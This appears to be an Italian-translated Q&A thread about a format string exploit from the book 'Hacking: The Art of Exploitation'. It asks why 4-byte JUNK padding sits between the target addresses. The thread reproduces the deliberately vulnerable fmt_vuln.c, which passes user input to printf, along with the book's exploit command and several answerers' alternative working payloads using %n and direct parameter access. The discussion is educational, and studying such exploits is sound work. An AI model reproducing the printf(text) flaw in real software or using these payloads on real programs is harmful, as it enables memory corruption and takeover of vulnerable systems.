Perché la vulnerabilità printf () richiede 4 byte di dati spazzatura? - "Hacking: The Art of Exploitation"

7

Ho letto "Hacking: The Art of Exploitation 2nd Ed". e ho colpito una parte che non è spiegata abbastanza chiaramente per me.

Nella sezione "Scrivere su un indirizzo arbitrario" Jon Erickson crea un piccolo programma vulnerabile c (chiamato fmt_vuln) che passa i parametri di formato (come% x) come primo argomento per printf. Ciò farà iniziare la lettura di printf dalla parte superiore del frame dello stack. Quindi utilizza questa vulnerabilità per scrivere all'indirizzo arbitrario 0x08049794.

Il codice sottostante ( fmt_vuln.c ) è il programma di destinazione.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

Utilizzando questa vulnerabilità, sto cercando di scrivere un valore "0xDDCCBBAA" all'indirizzo di test_val . L'output del programma mostra che test_val si trova in 0x08049794.

L'exploit assomiglia a questo:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

Scrive il valore esadecimale 0xAA all'indirizzo 0x08049794.

4 scrive in indirizzi sequenziali, a partire da 0x08049794, e aggiungendo 1 byte ogni volta dovrebbe raggiungere questo obiettivo. La prima volta che scriviamo 0xAA, la seconda volta scriviamo 0xBB su 0x08049795, la terza volta scriviamo 0xCC su 0x08049796 e l'ultima volta scriviamo 0xDD su 0x08049797.

Il libro usa l'exploit in questo modo:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

La mia domanda è:

Perché ho bisogno dei 4 byte di dati spazzatura tra gli indirizzi? L'autore usa la parola "JUNK" perché è una stringa arbitraria di 4 byte, ma potrebbe essere qualsiasi cosa lunga 4 byte. Ma non spiega mai perché sono necessari i 4 byte di dati JUNK. Dice solo "Un altro argomento è necessario per un altro parametro di formato% x per incrementare il conteggio dei byte a 187, che è 0xBB in decimale".

    
posta jairbow 01.07.2014 - 21:45
fonte

3 risposte

1

Ogni parametro di formato agisce su ogni byte sequenziale. Non è possibile utilizzare% x per leggere e aggiungere spazi a uno dei byte contenenti l'indirizzo a cui si desidera scrivere, perché quindi% n viene applicato al seguente byte.

In altre parole,% x è usato per leggere E aggiungere gli spazi. Una volta che gli spazi sono stati aggiunti, è il momento di scrivere quel valore nell'indirizzo che hai fornito, con% n. Quindi il% x deve essere fatto prima di% n. Il% x agisce su una delle parole da 4 byte, quindi l'autore ha creato una parola di 4 byte per% x per creare spazi, e quindi la successiva parola di 4 byte è l'indirizzo di memoria, che è ciò che% n scrive su.

Spero che questo chiarisca tutto per i neofiti come me, in futuro.

    
risposta data 04.07.2014 - 07:08
fonte
4

Penso che dipenda e vari sul compilatore e sul sistema su cui stai lavorando.

Ad esempio, ciò che ha funzionato per me sul codice di test che hai fornito è: (su una macchina Ubuntu a 32 bit)

\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%154x%4$n%17x%5$n%17x%6$n%17x%7$n

i primi 16 byte sono gli indirizzi che voglio iniettare a: 0x0804a030, 0x0804a031, 0x0804a032, 0x0804a033 - poiché l'indirizzo di test_val nel mio caso è 0x0804a030.

Quindi% 154x indica a printf di stampare l'output con 154 caratteri. Dal momento che 16 caratteri sono stati stampati finora 154 + 16 = 170 = 0xAA

Quindi% 4 $ n indica a printf di scrivere il valore nell'indirizzo nel 4 ° parametro passato a printf. Questo valore viene rilevato per tentativi ed errori al fine di individuare l'offset nello stack in cui è stato trovato l'input e fare in modo che printf lo utilizzi come indirizzo di destinazione. È possibile iniettare AAAA% p% p% p ...% p per trovare dove si trova il valore 41414141 e quindi si conosce l'offset. nel mio caso era 4.

Il resto aggiunge solo 17 = 0x11 caratteri al fine di incrementare il valore iniettato al valore voluto e fare in modo che printf lo scriva sul puntatore successivo, nel mio caso 5, 6 e 7

Credo che il motivo per cui l'autore aveva bisogno di 4 byte in più nel suo caso era il modo in cui il compilatore gestiva i parametri in pila nel suo caso. Forse dovevano essere separati da 4 byte e quindi non poteva iniettare gli indirizzi senza riempirli di 4 byte.

Avevo iniettato la stringa con i 4 byte di JUNK che ho dovuto inserire più tardi in:

\x30\xa0\x04\x08JUNK\x31\xa0\x04\x08JUNK\x32\xa0\x04\x08JUNK\x33\xa0\x04\x08%142x%4$n%17x%6$n%17x%8$n%17x%10$n

cambiando i puntatori target su 4, 6, 8, 10 poiché in 5, 7 e 9 sono stati trovati i byte JUNK.

Ecco un link o un eccellente post sul blog: link

    
risposta data 03.07.2014 - 10:29
fonte
2

Sono lì per il %17x da stampare. I primi quattro byte ( \x94\x97\x04\x08 ) fungono da %n indirizzo, i successivi quattro ( JUNK ) vengono formattati da %17x , i successivi quattro ( \x95\x97\x04\x08 ) fungono da secondo %n , ecc.

Potresti farne a meno, ad es. con qualcosa di simile

\x94\x97\x04\x08\x95\x97\x04\x08\x96\x97\x04\x08\x97\x97\x04\x08%x%x%126x%n%n%n%n

per scrivere il valore 0xAAAAAAAA in test_val

    
risposta data 01.07.2014 - 22:22
fonte

Leggi altre domande sui tag